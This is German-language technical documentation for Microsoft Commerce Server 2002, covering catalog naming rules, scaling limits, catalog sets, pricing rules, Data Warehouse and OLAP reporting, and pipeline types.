  • In Definitionsnamen dürfen die Zeichenfolgen "ProductID" und "VariantID" nicht verwendet werden.
Name der Produktdefinition | Namen von Produktdefinitionen können bis zu 128 Zeichen lang sein.
Name der Kategoriedefinition | Namen von Kategoriedefinitionen können bis zu 128 Zeichen lang sein.
Katalogname (interner Name, nicht der in Ihrer Website angezeigte Name)
  • Der Name darf nur einmal vergeben sein.
  • Katalognamen können bis zu 85 Zeichen lang sein.
  • Eckige Klammern ([,]), Apostrophe ('), Klammern ((,)) oder Nummernzeichen (#) dürfen nicht verwendet werden. Punkte und Kommas sind ebenfalls nicht zulässig.
  • Für den Anzeigenamen des Katalogs gelten keine Einschränkungen.
  • Wenn Sie zwei oder mehr Commerce Server-Sites mit getrennten Datenbanken haben, in denen Katalogdaten gespeichert sind, und diese dasselbe Data Warehouse nutzen, dürfen Sie diesen Katalogen auf den unterschiedlichen Sites nicht denselben Namen geben. Wenn diese Kataloge denselben Namen haben, werden sie von Data Warehouse als ein Katalog behandelt.
Kategoriename
  • Der Name darf nur einmal vergeben sein.
  • Schrägstriche (/) oder Anführungszeichen (") dürfen nicht verwendet werden. Kommas sind nicht zulässig.
  • Der Name darf nicht mehr als 100 Zeichen umfassen.
Produktname
  • Die maximal zulässige Länge des Produktnamens wird von dem in der Produktdefinition festgelegten Wert bestimmt. Von Commerce Server wird die Länge nicht eingeschränkt.
  • Nutzen Sie für jedes Produkt einen eindeutigen Namen.
  • Stellen Sie sicher, dass keine Ihrer Kombinationen aus Kategorie- und Produktname doppelt vergeben wird.
    • Wenn Sie einen Katalog für eine Site erstellen und die Produktnamen innerhalb der Kategorien nicht eindeutig sind, wird bei der Auswahl eines Produkts zum Kauf möglicherweise der falsche Produktname in den Warenkorb aufgenommen. Das liegt daran, dass der Produktname an den Kategorienamen angehängt wird. So werden beispielsweise Produkt 1A in Kategorie B und Produkt A in Kategorie B1 jeweils als "B1A" gespeichert.
Produkt-ID
  • Arbeiten Sie mit Integer-Zahlen oder Text.
  • Datums-/Uhrzeit- bzw. Währungsangaben sind nicht zulässig.


Skalierung von Produktkatalogen

In der folgenden Tabelle finden Sie Angaben zur Skalierung von Commerce Server-Katalogen.

Artikel | Unterstützte Größe bzw. Anzahl
Anzahl der Kataloge | 10.000 Basiskataloge oder 10.000 virtuelle Kataloge bzw. insgesamt 10.000 Kataloge beider Katalogarten.
Anzahl der Produkte pro Katalog | 5 Mio. Die Ausführung von Commerce Server mit 10.000 Katalogen, die jeweils 5 Millionen Produkte enthalten, wurde nicht getestet.
Anzahl der Sprachen pro Katalog | 10
Anzahl der Eigenschaftsdefinitionen pro Katalog | 1.000
Anzahl der Basiskataloge pro virtueller Katalog | 80
Anzahl der Produkte pro virtueller Katalog | 1 Million
Anzahl der Preisregeln pro virtueller Katalog | 10.000
Anzahl der Produkte pro Kategorie | 10.000
Anzahl der verschachtelten Kategorien | Fünf

Darüber hinaus unterstützt Commerce Server den Datentyp SQL-Text. Dieser Datentyp unterliegt nicht der für SQL Server geltenden Zeilengrößenbeschränkung von 8.060 Byte. Mehrere Produktkataloge können gemeinsam einen SQL Server-Volltextkatalog nutzen.


Kataloge von mehreren Lieferanten

Sie können Kataloge von mehreren Lieferanten importieren, sie in Ihrer Website als einen Katalog anzeigen, und wenn Benutzer ein Produkt aus dem Katalog erwerben, können Sie die Bestellungen zur Bearbeitung direkt an die jeweiligen Lieferanten weiterleiten.

Jeder Commerce Server-Katalog enthält ein Hersteller-ID-Attribut. Dieses Attribut wird belegt, wenn Ihr Systemadministrator mithilfe von Microsoft BizTalk Server eine Handelspartnervereinbarung mit einem Lieferanten einrichtet (und die Ressource "Anwendungsstandardkonfiguration" so konfiguriert, dass die Eigenschaft BizTalk-Optionen auf 1 gesetzt wird). Wenn das Hersteller-ID-Attribut nicht belegt ist, geht Commerce Server davon aus, dass Sie der Lieferant für den betreffenden Katalog sind.

Bei der Integration mit BizTalk Server werden dem betreffenden Hersteller mit dem Hersteller-ID-Attribut automatisch Auftragsbestätigungen für aus dem Katalog erworbene Artikel gesendet. Wenn Ihr Systemadministrator eine Vereinbarung mit einem Lieferanten einrichtet, wird der neue Lieferant in die Dropdownliste der Lieferanten in Commerce Server Business Desk aufgenommen. Aus dieser Liste können Sie den Lieferanten dann auswählen.

Die Implementierung dieses Szenarios erfolgt in zwei Hauptsschritten:

  • Sie erstellen einen virtuellen Katalog, in dem Sie den Inhalt der Lieferantenkataloge zusammenfassen. Dieser Arbeitsschritt wird in der Commerce Server 2002-Hilfe unter "Erstellen eines virtuellen Katalogs" näher erläutert.
  • Sie integrieren Commerce Server mit BizTalk Server, damit Bestellungen an Ihre Handelspartner weitergeleitet werden. Dieser Arbeitsschritt wird in der Commerce Server 2002-Hilfe unter "Integrating with BizTalk Server" (englisches Thema) näher erläutert.

Im Folgenden finden Sie eine Übersicht über die Schritte, die Sie und Ihre Lieferanten für den Austausch von Katalogen mit BizTalk Server durchführen müssen:

  1. Installieren und konfigurieren Sie BizTalk Server so, dass Sie Kataloge von Lieferanten empfangen können.
  2. Konfigurieren Sie die Ressource für die Anwendungsstandardkonfiguration so, dass die Eigenschaft BizTalk-Optionen auf den Wert 1 gesetzt ist.
  3. Definieren Sie eine Vereinbarung mit einem Lieferanten.
  4. Über E-Mail oder BizTalk Server sendet Ihnen der Hersteller die Kataloge, die Sie anschließend mithilfe des Business Desk-Moduls "Katalog-Editor" in Ihre Commerce Server-Katalogdatenbank importieren.
  5. Kataloge können Sie aus Business Desk heraus an Lieferanten senden, indem Sie im Katalog-Editor-Modul auf der Symbolleiste auf Senden klicken. Es wird ein Dialogfeld angezeigt, in dem die Lieferanten aufgelistet sind, die in BizTalk Server mit Vereinbarungen definiert sind und denen Sie den Katalog zuschicken können.

Dabei können mehrere Kataloge mit dem entsprechenden Hersteller verknüpft werden. Es ist ebenso möglich, Hersteller auf Produktebene anzugeben. Dazu muss jedoch eine Seite Ihrer Website vom Siteentwickler entsprechend angepasst werden (_additem.asp). Informationen zu customizing _additem.asp finden Sie unter Commerce Server Solution Sites (englisches Thema).


Aggregierte Kataloge

Ein aggregierter Katalog enthält den Inhalt mehrerer Kataloge. Wenn Sie also beispielsweise Artikel von mehreren Herstellern verkaufen, von denen Ihnen jeder einen oder mehrere Kataloge schickt, können Sie deren Inhalt zu einem (aggregierten) Katalog zusammenführen.

Zur Aggregierung mehrerer Kataloge erstellen Sie zunächst einen virtuellen Katalog und nehmen ihn dann in den Inhalt der Basiskataloge auf. Dem Benutzer, der Ihre Site besucht, stellt sich ein aggregierter Katalog wie ein einzelner Katalog dar.

Ein aggregierter Katalog unterscheidet sich von einem Katalogsatz darin, dass er sich aus anderen Komponenten zusammensetzt und eine andere Art der Verfügbarkeit bietet.

  • Ein aggregierter Katalog ist die Kombination mehrerer Kataloge in einem virtuellen Katalog.
  • Ein Katalogsatz ist eine Gruppe von einem oder mehreren Katalogen, die Sie verschiedenen Benutzern oder Organisationen zur Verfügung stellen. Anschließend können Sie einen Katalogsatz erstellen, der sich aus aggregierten Katalogen und anderen in Ihrer Datenbank vertretenen Katalogen zusammensetzt.

Sie legen fest, welche Benutzer oder Organisationen die Kataloge in einem Katalogsatz einsehen können. Ein aggregierter Katalog kann für alle Benutzer verfügbar sein, sofern er nicht Element eines Katalogsatzes ist.


Mehrsprachige Kataloge

In einem mehrsprachigen Katalog ist der Kategorie- und Produkttext in mehreren Sprachen aufgeführt. Die Angaben könnten beispielsweise in den Sprachen Englisch, Französisch und Japanisch angezeigt werden.

Im Folgenden finden Sie eine Übersicht über die Schritte, die Sie für die Erstellung eines mehrsprachigen Katalogs ausführen müssen. Nähere Erläuterungen zu diesen Schritten finden Sie in der Commerce Server 2002-Hilfe.

  1. Hinzufügen einer mehrsprachigen Eigenschaftsdefinition für die Artikel, die in mehreren Sprachen angezeigt werden sollen.

    Die Katalogdefinition schließt standardmäßig einen Satz mit mehrsprachigen Eigenschaften ein. Beispiel:

    • Produktname – Mehrsprachiger Text
    • Beschreibung – Mehrsprachiger Text
    • Farbe – Mehrsprachige Auswahl
  2. Hinzufügen von Produktdefinitionen, in denen die mehrsprachigen Eigenschaften verwendet werden. Beispielsweise können Sie jeder Produktdefinition die Eigenschaften "Produktname", "Beschreibung" und "Farbe" zuweisen.
  3. Erstellen eines Katalogs und Eingeben der Sprachen, die der Katalog unterstützen soll (z. B. Englisch, Französisch und Japanisch).
  4. Hinzufügen von Produkten und Kategorien, die über diese mehrsprachigen Eigenschaften verfügen (z. B. Produktname und Beschreibung).
  5. Übersetzen der mehrsprachigen Produkte und Kategorien in die vom Katalog unterstützten Sprachen. Für das Übersetzen des Katalogs stehen Ihnen folgende Möglichkeiten zur Verfügung:
    • Übersetzen eines Katalogs durch Exportieren/Importieren. Wenn die Namen vieler Produkte übersetzt werden müssen, exportieren Sie den Katalog mit dem Katalog-Editor-Modul als XML und schicken ihn dann einem Übersetzer. Nach erfolgter Übersetzung reimportieren Sie den Katalog in die von Commerce Server verwendete Katalogdatenbank. Anschließend können Sie den Katalog gegebenenfalls mit Commerce Server Business Desk aktualisieren und veröffentlichen.
    • Übersetzen eines Katalogs mit Business Desk. Wenn nur die Namen einiger Produkte übersetzt werden müssen, geben Sie die Produktdaten im Katalog-Editor-Modul von Hand in der anderen Sprache ein.


Externe Kataloge: Verwenden von Verbindungsschlüsseln

In Commerce Server 2002 werden nun auch Verbindungsschlüssel unterstützt. Mit Verbindungsschlüsseln verknüpfen Sie externe Tabellen zum Abrufen von Bestandsdaten zur Laufzeit und zum Zuweisen mehrerer Werte zu einem Produkt.

Zwei häufige Szenarios für die Verwendung von Verbindungsschlüsseln sind:

  • Der Abruf flüchtiger Katalogdaten zur Laufzeit (z. B. Bestandsdaten). Bestandsdaten sollten Sie nicht in den Katalog selbst aufnehmen, da die Site nie in die Katalogdatenbank schreibt. Zur Nutzung des Netzwerklastenausgleichs (NLB) muss ferner die Katalogdatenbank schreibgeschützt sein.
  • Das Verknüpfen mehrerer Werte mit einem Produkt (z. B. eine Liste mit Songtiteln für eine CD, eine Besetzungsliste für einen Filmtitel oder eine Liste mit Kundenbewertungen für ein Produkt).

Die folgende Abbildung zeigt, wie Verbindungsschlüssel zum Abrufen der Daten aus einer externen Tabelle und der Commerce Server-Katalogdatenbank verwendet werden.

Verwendung von Verbindungsschlüsseln zum Abrufen der Daten aus einer externen Tabelle


Katalogsätze

Welche Kataloge Benutzer in Ihrer Site sehen, bestimmen Sie durch Erstellung von Katalogsätzen. Ein Katalogsatz ist eine Gruppe von einem oder mehreren Katalogen, die Sie verschiedenen Benutzern oder Organisationen zur Verfügung stellen.

Ein Katalogsatz unterscheidet sich von einem aggregierten Katalog darin, dass er sich aus verschiedenen Komponenten zusammensetzt und verschiedene Arten der Verfügbarkeit bietet.

  • Ein aggregierter Katalog ist die Kombination mehrerer Kataloge in einem virtuellen Katalog.
  • Ein Katalogsatz ist eine Gruppe von einem oder mehreren Katalogen, die Sie verschiedenen Benutzern oder Organisationen zur Verfügung stellen. Anschließend können Sie einen Katalogsatz erstellen, der sich aus aggregierten Katalogen und anderen in Ihrer Datenbank vertretenen Katalogen zusammensetzt.

Sie legen fest, welche Benutzer oder Organisationen die Kataloge in einem Katalogsatz einsehen können. Ein aggregierter Katalog kann für alle Benutzer verfügbar sein, sofern er nicht Element eines Katalogsatzes ist.

Zum Erstellen eines Katalogsatzes müssen Sie beispielsweise unter Umständen zwei Basiskataloge und einen virtuellen Katalog erstellen, einen Katalogsatz definieren, der die beiden Basiskataloge und einen virtuellen Katalog einschließt, und anschließend den Katalogsatz den Mitgliedern einer speziellen Organisation anzeigen. Die folgende Abbildung veranschaulicht, wie Mitglieder eines Fußballklubs einen Mannschaftsbekleidungskatalog mit Sonderpreisen anzeigen können.

Katalog mit Sonderpreisen

Mit den Profilmodulen von Business Desk legen Sie fest, welchen Katalogsatz ein Benutzer anzeigen kann. Den Katalogsatznamen legen Sie beim Erstellen neuer Benutzer fest.


Methoden zur Produktpreisberechnung

Die Preise Ihrer Produkte müssen mit hoher Wahrscheinlichkeit regelmäßig aktualisiert werden. Anfangs können Sie den Produktpreis in einem Katalog jedoch mit einem der folgenden Verfahren festlegen: direkte Preisberechnung, indirekte Preisberechnung und benutzerdefinierte Preisberechnung (Preisregeln).

Dieser Abschnitt beinhaltet folgende Themen:

  • Direkte Preisberechnung
  • Indirekte Preisberechnung
  • Benutzerdefinierte Preisberechnung (Preisregeln in einem virtuellen Katalog)


Direkte Preisberechnung

Hier definieren Sie den Preis eines Produkts im Produkt selbst. Dazu haben Sie entweder beim Erstellen oder beim Bearbeiten des Produkts Gelegenheit.


Indirekte Preisberechnung

Hierbei wird der Preis über seine Zuordnung zu einer bestimmten Preiskategorie berechnet. Wenn ein Produkt einer Preiskategorie zugeordnet wird, wird der Produktpreis durch den Preis ersetzt, der in dieser Kategorie definiert ist. Der ursprüngliche Preis des Produkts wird wiederhergestellt, wenn die Zuordnung zu dieser bestimmten Preiskategorie aufgehoben wird.

Die indirekte Preisberechnung wird für gewöhnlich verwendet, wenn Sie für eine Gruppe von Produkten denselben Preis anbieten möchten – z. B. für eine Sonderkategorie, in der alle Produkte nur 1,99 Euro kosten.


Benutzerdefinierte Preisberechnung (Preisregeln in einem virtuellen Katalog)

In einem virtuellen Katalog können Sie Preisregeln auf eine Kategorie, ein Produkt oder eine Produktvariante anwenden.

Preisregeln wenden Sie an, wenn Sie einen virtuellen Katalog in einer anderen Währung erstellen oder wenn Sie einen virtuellen Katalog erstellen, der nur einer bestimmten Gruppe von Benutzern angezeigt wird (z. B. den Mitgliedern eines Clubs, für die Preisnachlässe gelten).

Einer Kategorie, einem Produkt oder einer Produktvariante kann immer nur eine Preisregel zugeordnet werden.

Folgende Preisregeln können Sie auf Kategorien und Produkte in einem virtuellen Katalog anwenden:

  • Preis festlegen. Sie geben den genauen Preis des Produkts an. Beispiel: Ein Produkt wird für genau 10,00 Euro verkauft.
  • Hinzufügen. Sie geben den genauen Betrag ein, um den sich der Grundpreis erhöhen soll.
  • Prozentsatz hinzufügen. Sie geben den Prozentsatz des Grundpreises an, der auf den Preis aufgeschlagen werden soll.
  • Preisnachlass. Sie geben den genauen Betrag ein, um den der Grundpreis verringert werden soll.
  • Prozentualer Preisnachlass. Legen Sie fest, um wie viel der Preis gesenkt wird. Um den Preis um 20 % zu senken, legen Sie 20 % fest.

Weitere Informationen über die benutzerdefinierte Preisberechnung finden Sie unter Preisberechnung von Produkten in mehreren Währungen.

Siehe auch

Using Current Product Prices vs Original Product Prices (englisches Thema)


Data Warehouse-Konzepte

Das Data Warehouse von Commerce Server 2002 stellt eine Reihe von Prozessen dar, mit deren Hilfe Systemadministratoren Daten in SQL Server- und OLAP-Datenbanken (OLAP oder Analytische Onlineverarbeitung) importieren sowie verwalten können. Das Data Warehouse importiert große Datenmengen zur Siteverwendung, die aus einer Reihe verschiedener Datenquellen gesammelt werden. Diese Daten stammen aus Ihren Webserverprotokollen, den Commerce Server-Datenbanken (Profile, Kampagnen, Kataloge und Transaktionen) sowie anderen von Ihnen angegebenen Datenquellen. Das Data Warehouse verwaltet diese Daten in den SQL Server- und OLAP-Datenbanken. Diese Datenbanken werden anschließend zur Berichterstellung.

Das Data Warehouse ist für die Unterstützung zuverlässiger Abfragen und Analysen ausgelegt. Mithilfe der Analysemodule von Commerce Server Business Desk können Sie die Daten im Data Warehouse analysieren und anschließend Ihre Site aktualisieren, um Inhalte zielgerichtet auf bestimmte Benutzergruppen zuzuschneiden oder bestimmte Produkte zu verkaufen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden des Data Warehouse bei der Websiteverwaltung
  • Data Warehouse-Struktur
  • Übersicht über das Importieren von Daten in das Data Warehouse
  • Datenvorbereitung zur Analyse mit einem OLAP-Server
  • Dynamische und statische Berichte


Verwenden des Data Warehouse bei der Websiteverwaltung

Das Data Warehouse fasst Daten aus mehreren Quellen in einer gemeinsamen Struktur zusammen. Somit wird eine Konsistenz der Daten beim Erstellen von Berichten. Dies wird als Geschäftsanalysesystem von Commerce Server bezeichnet. Die Geschäftsanalyse gibt Ihnen die Möglichkeit, Ihre Websitedaten zu analysieren, um bestimmte Fragen über die Performance Ihrer Website zu beantworten. Die derart erhaltenen Informationen können Sie zur Optimierung Ihres Kundenservice oder zur Zielgruppenadressierung von Inhalten für Benutzer verwenden.

Mit der Geschäftsanalyse können Sie die Performance Ihrer Website exakt messen und Antworten auf folgende Fragen finden:

  • Welche Site hat der Benutzer besucht, bevor er auf Ihre Site zugegriffen hat (die verweisende Site)?
  • Welches sind die beliebtesten Seiten Ihrer Website?
  • Welche Produkte verkaufen sich am besten?

Anhand dieser Anhaltspunkte können Sie Änderungen an Ihrer Website vornehmen, durch die sich Verkäufe erhöhen und Benutzer binden lassen. Beispiel: Sie 'schalten' eine Anzeige, um ein neues Produkt zu promoten. Nachdem die Anzeige eine Woche lang angezeigt wurde, können Sie über einen Bericht feststellen, ob die Werbung den Verkauf des Produkts positiv beeinflusst hat. Wenn dies nicht der Fall ist, können Sie Ihre Site aktualisieren. Sie haben z. B. die Möglichkeit, für das neue Produkt einen 10-prozentigen Preisnachlass anzuzeigen. Nach etwa einer Woche könnten Sie dann feststellen, ob sich die Verkäufe durch den Preisnachlass verbessert haben.

Siehe auch

Data Warehouse-Struktur

Übersicht über das Importieren von Daten in das Data Warehouse

Datenvorbereitung zur Analyse mit einem OLAP-Server


Data Warehouse-Struktur

Das Data Warehouse verfügt über zwei Hauptbestandteile:

  • Physischer Speicher. Eine Microsoft SQL Server-Datenbank, die Sie mithilfe von SQL abfragen können, sowie eine OLAP-Datenbank zur Ausführung von Berichten.
  • Logisches Schema. Ein Begriffsmodell, mit dem Daten im physischen Speicher zugeordnet werden.

Die folgende Abbildung zeigt die Beziehungen zwischen dem physischen Speicher und dem logischen Schema an.

Beziehung zwischen dem physischen Speicher und dem logischen Schema

Physischer Speicher

Der physische Speicher des Data Warehouse beinhaltet eine Datenbank, die Sie mithilfe von SQL abfragen können. Der physische Speicher enthält sämtliche aus den verschiedenen Quellen importierten Daten.

Commerce Server erstellt während des Entpackens automatisch den physischen Speicher für das Data Warehouse, sowohl in der SQL Server- als auch in der OLAP-Datenbank. Das Data Warehouse liefert die für alle Commerce Server-Berichte benötigten Daten in den Analysemodulen von Business Desk.

Logisches Schema

Das logische Schema bietet eine übersichtliche Ansicht der Daten im Data Warehouse und unterstützt einen effizienten Importprozess. Siteentwickler verwenden das logische Schema beispielsweise, um den Speicherort der Daten in den zu Grunde liegenden physischen Tabellen zu ändern. Wenn Siteentwickler z. B. Code zum Hinzufügen, Aktualisieren oder Löschen von Daten im Data Warehouse implementieren, arbeiten sie mit dem logischen Schema. Auch der Zugriff von Commerce Server auf die Daten im Data Warehouse erfolgt über das logische Schema. Detailkenntnisse des logischen Schemas werden nur von Siteentwicklern gefordert.

Ein logisches Schema besteht aus den folgenden Elementen:

  • Klasse. Eine logische Sammlung von Datenelementen. Die Klasse RegisteredUser enthält z. B. Datenelemente, die einen registrierten Benutzer beschreiben.
  • Datenelement. Eine Struktur, die bestimmte Daten speichert. Beispiel: Das Datenelement E-Mail der Klasse RegisteredUser speichert die E-Mail-Adresse eines registrierten Benutzers.
  • Beziehung. Eine Verbindung zwischen zwei Klassen in einer Parent-Child-Beziehung. Die Parent-Child-Beziehung definiert die Anzahl von Instanzen (1 oder viele), die ein untergeordnetes Element zu der entsprechenden Instanz des übergeordneten Elements aufbauen kann. RegisteredUser ist z. B. ein Parent für die Child-Klasse Anforderung. Für einen registrierten Benutzer kann es viele Anforderungen geben.

Das logische Schema verwendet Klassen, Datenelemente, Beziehungen und andere Datenstrukturen, um Daten im physischen Speicher zuzuordnen.

Siehe auch

Verwenden des Data Warehouse bei der Websiteverwaltung

Data Warehouse-Struktur

Übersicht über das Importieren von Daten in das Data Warehouse

Datenvorbereitung zur Analyse mit einem OLAP-Server

Berichte


Übersicht über das Importieren von Daten in das DataWarehouse

Feedback zu dieser Seite senden Commerce Server 2002

Übersicht über das Importieren von Daten in das Data Warehouse

Die Daten, mit denen das Data Warehouse aufgefüllt wird, stammen i. d. R. aus mehreren Datenquellen: Webserverprotokollen, Commerce Server-Datenbanken und anderen von Ihnen festgelegen Datenquellen. Die folgende Abbildung zeigt die Quellen von operativen Daten an und wie diese Daten zur Unterstützung von Business Desk-Tasks verwendet werden.

Import von Daten in das Data Warehouse

Da das Data Warehouse nicht Teil der Laufzeitumgebung ist, muss ein Systemadministrator feststellen, wie häufig die operativen Daten in das Data Warehouse importiert werden müssen. Das Data Warehouse kann z. B. so konfiguriert werden, dass neue Daten täglich oder wöchentlich automatisch importiert werden. Die Häufigkeit, mit der Sie Daten importieren, hängt von der Datenmenge ab, die Sie täglich in Ihren operativen Datenquellen zusammenstellen. Commerce Server enthält benutzerdefinierte DTS-Tasks (Data Transformation Service), die den Datenimport in das Data Warehouse erleichtern. Mit diesen DTS-Tasks werden Daten importiert, die in den Berichten von Business Desk verwendet werden.

Obwohl die operativen Daten von verschiedenen Datenbanktypen importiert werden können (und auch von anderen Speichermedien als Datenbanken), werden alle Daten nach der Erfassung im Data Warehouse in einer einheitlichen Struktur gespeichert. Beispiel: Sie verfügen über eine Datenquelle, in der Vor- und Nachname eines Benutzers in einem einzigen Feld gespeichert werden. In einer anderen Datenquelle werden dafür zwei getrennte Felder verwendet. Beim Import in das Data Warehouse werden diese Daten automatisch einheitlich strukturiert, sodass Analysen vorgenommen werden können.

Siehe auch

Verwenden des Data Warehouse bei der Websiteverwaltung

Data Warehouse-Struktur

Datenvorbereitung zur Analyse mit einem OLAP-Server

Berichte

Ausführen des Data Warehouse

Business Desk-Analyse


Datenvorbereitung zur Analyse mit einem OLAP-Server

Nachdem Daten in die SQL Server-Datenbank des Data Warehouse importiert wurden, müssen sie für Analysen vorbereitet werden, damit Businessmanager unter Verwendung dieser Datenbank Berichte ausführen können. Zu diesem Zweck führen Systemadministratoren einen DTS-Task aus, der eine ausgewählte Teilmenge der Daten aus der SQL Server- in die OLAP-Datenbank importiert. In der OLAP-Datenbank werden die Daten als multidimensionale Cubes gespeichert.

Durch die Datenspeicherung in OLAP-Cubes – statt in relationalen Tabellen in SQL Server – kann das Data Warehouse Daten zu Berichtszwecken schneller abrufen. Die Daten können schneller aus den Cubes abgefragt werden, da es Aggregatdaten sind. OLAP ist i. d. R. bedeutend schneller als SQL Server, da OLAP-Daten aggregiert werden und SQL Server-Daten alle Details enthalten. So können Sie z. B. mit einem OLAP-Server einen Bericht über die Besucher Ihrer Site ausführen, basierend auf dem Zeitpunkt ihres Besuchs sowie auf der ASP-Seite, auf die die Benutzer zuerst zugreifen. Es wäre unglaublich schwer, einen solchen Bericht unter Verwendung einer großen SQL Server-Datenbank auszuführen.

In multidimensionalen Cubes werden Daten in zwei Arten von Strukturen gruppiert:

  • Measures. Die numerischen Werte, die analysiert werden.
  • Dimensionen. Eine Geschäftseinheit, z. B. Farbe, Größe, Produkt oder Zeit. Beispiel: Mit der Farbdimension können Sie die Verkaufsmenge von roten und blauen Produkten gegenüberstellen, und mit der Größendimension könnten Sie die Verkaufszahlen von Produkten in 'Large' und 'Small' miteinander vergleichen.

Die Beziehung zwischen den Dimensionsstrukturen (z. B. Farbe) und Measuresstrukturen (z. B. Anzahl der verkauften Produkte) liefert die Grundlage für die Berichte über die Benutzeraktivität.

Die folgende Abbildung zeigt die Dimensionen und Measures in einem Bericht.

Bericht mit Bezeichnung der Measures und Dimensionen

Siehe auch

Verwenden des Data Warehouse bei der Websiteverwaltung

Data Warehouse-Struktur

Übersicht über das Importieren von Daten in das Data Warehouse

Berichte


Dynamische und statische Berichte

Für die Analyse der im Data Warehouse gespeicherten Daten stellt Commerce Server dynamische und statische Berichte zur Verfügung.

Dynamische Berichte

Statische Berichte

Berichte, die OLAP-Server über HTTPS verwenden


Dynamische Berichte

Dynamische Berichte werden zur Laufzeit erstellt. Beim Ausführen des Berichts werden die aktuellsten Daten auf dem OLAP-Server erfasst, sofern es sich um dynamische OLAP-Daten handelt. Dynamische SQL-Daten werden im Data Warehouse (SQL) gespeichert.

Dabei wird nur die nicht veränderliche Berichtsdefinition gespeichert. Commerce Server speichert keine abgeschlossenen dynamischen Berichte. Sie können die Ergebnisse dieser Berichte jedoch in Microsoft Excel exportieren und speichern. Informationen über den Export von Ergebnissen eines dynamischen Berichts in Microsoft Excel finden Sie unter Exportieren eines dynamischen Berichts.

Die folgende Abbildung verdeutlicht, wie ein dynamischer Bericht erstellt wird: Zunächst werden Daten im Data Warehouse gespeichert. Beim Ausführen des DTS-Berichtsvorbereitungstasks werden die Daten dann in der OLAP-Datenbank zwischengespeichert. Anschließend können sie zum Ausführen von Berichten vom Business Desk-Client abgerufen werden.

Erstellung eines dynamischen Berichts


Statische Berichte

Statische Berichte werden sofort auf Anforderung ausgeführt und dann mit den Daten in den abgeschlossenen Berichten gespeichert. Die Berichte werden in einem Browserfenster im HTML-Format angezeigt. Sie können statische Berichtsergebnisse in das Listen-Manager-Modul exportieren und diese Liste dann in einer Direktsendungskampagne verwenden. Sie können diese Berichte per E-Mail versenden, in Ihrer Website bereitstellen oder in anderen Anwendungen bearbeiten. Mithilfe von Microsoft Internet Explorer können Sie einen statischen Bericht z. B. als Word-Dokument exportieren und anschließend bearbeiten.

Commerce Server 2002 enthält eine Reihe von Berichten, die Sie über Business Desk ausführen können. Dazu gehören die Berichte "Executive-Zusammenfassung", "Produkte nach verkaufter Menge" und "Zugriffe nach Benutzer". Sie können einen oder mehrere dieser Berichte einsetzen. Alternativ können Sie einen dieser Berichte anpassen, um damit andere Daten abzurufen.

Die folgende Abbildung zeigt, wie ein statischer Bericht erstellt wird: Die Daten werden im Data Warehouse gespeichert, in der OLAP-Datenbank zwischengespeichert, durch die Berichts-Manager-Komponenten gerendert und anschließend vom Business Desk-Client abgerufen.

Erstellung eines statischen Berichts


Berichte, die OLAP-Server über HTTPS verwenden

Im Geschäftsanalysesystem können Business Desk-Benutzer dynamische Berichte ausführen, indem sie über die Internetinformationsdienste eine Verbindung zu Analysis Services aufbauen (für den Zugriff auf die OLAP-Datenbank). Wenn Sie diese Verbindungsmethode konfigurieren, kann der PivotTable-Dienst einen Tunnel durch Firewalls oder Proxy-Server zum Analysis Services-Server herstellen.

Zum Konfigurieren des Zugriffs auf Analysis Services über HTTPS müssen Sie die folgenden Schritte ausführen. Nähere Informationen zu den einzelnen Schritte finden Sie unter Zugriff auf den Analysis Server über HTTPS genauer erläutert.

  • Installieren Sie auf dem Computer Internetinformationsdienste (IIS) und SQL Server 2000 Enterprise Edition sowie die Enterprise Edition von Analysis Server.
  • Konfigurieren Sie die Analysis Services-Clientverbindungszeichenfolge (ConnStr_OLAP_Client), indem Sie den Commerce Server-Manager zum Zugreifen auf das Eigenschaftendialogfeld des Data Warehouse verwenden. In der Datenquelleneigenschaft der Verbindungszeichenfolge geben Sie einen URL an.
  • Konfigurieren Sie die Datei MSOLAP.ASP mithilfe der Internetinformationsdienste.

Die folgende Abbildung zeigt die Komponenten, die zur Berichtserstellung mit OLAP über HTTPS verwendet werden.

Komponenten für die Berichtserstellung mit OLAP über HTTPS

Siehe auch

Ausführen des Data Warehouse

Business Desk-Analyse


Pipelinekonzepte

Eine Pipeline ist ein erweiterbares Softwareframework, mit dem eine oder mehrere Phasen eines Geschäftsprozesses definiert, miteinander verknüpft und zum Abschluss eines bestimmten Tasks der Reihe nach ausgeführt werden können. Die Order Processing Pipeline stellt beispielsweise die Sequenz von Schritten zur Verfügung, die für die Verarbeitung von Bestellungen in Ihrer Site verwendet werden. In der ersten Phase der Order Processing Pipeline werden Produktinformationen aus der Datenbank abgerufen, in der die Katalogdaten gespeichert sind. Im nächsten Schritt wird die Adresse des Benutzers zur Bestellung hinzugefügt. Jede Phase der Pipeline stellt eine Arbeitskategorie dar. Die Abfolge der einzelnen Phasen bestimmt die Reihenfolge, in der die jeweiligen Arbeitsschritte durchgeführt werden.

Commerce Server 2002 enthält eine Reihe von Pipelines, die einen Großteil der normalen Verarbeitung übernehmen, die eine Commerce Server-Site erfordert. Siteentwickler können diese Pipelines an die speziellen Anforderungen einer Site anpassen. So lassen sich neue Komponenten zur Pipeline hinzufügen, die Komponenten in vorhandene Systeme integrieren oder diese durch Komponenten von Drittanbietern ersetzen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Pipelinetypen
  • Pipelinestruktur
  • Erstellen und Bearbeiten von Pipelines


Pipelinetypen

Commerce Server enthält folgende Pipelinetypen:

  • Inhaltsauswahlpipeline. Diese Pipeline wählt Inhalte aus, die den Benutzern angezeigt werden. Dazu zählen die Anzeigen für bestimmte Benutzer, die Preisnachlässe, die Benutzer entsprechend der mit Commerce Server Business Desk erstellten Zielausdrücke erhalten sollen, die Anzahl der Anzeigen sowie andere Faktoren.
  • Ereignisverarbeitungspipeline. Zeichnet Ereignisse auf, die Bezug zu den angezeigten Inhalten haben (z. B. Anzeigenklicks von Benutzern), und speichert diese in den Commerce Server-Datenbanken. Diese Informationen werden dann in Berichten eingesetzt, z. B. über die Anzahl der Benutzer, die auf eine Anzeige geklickt haben.
  • Direct Mailer-Pipeline. Erstellt und liefert Nachrichten für Direktsendungskampagnen. Diese Pipeline kann personalisierte E-Mail-Nachrichten oder Nachrichten mit statischen Inhalten erstellen.
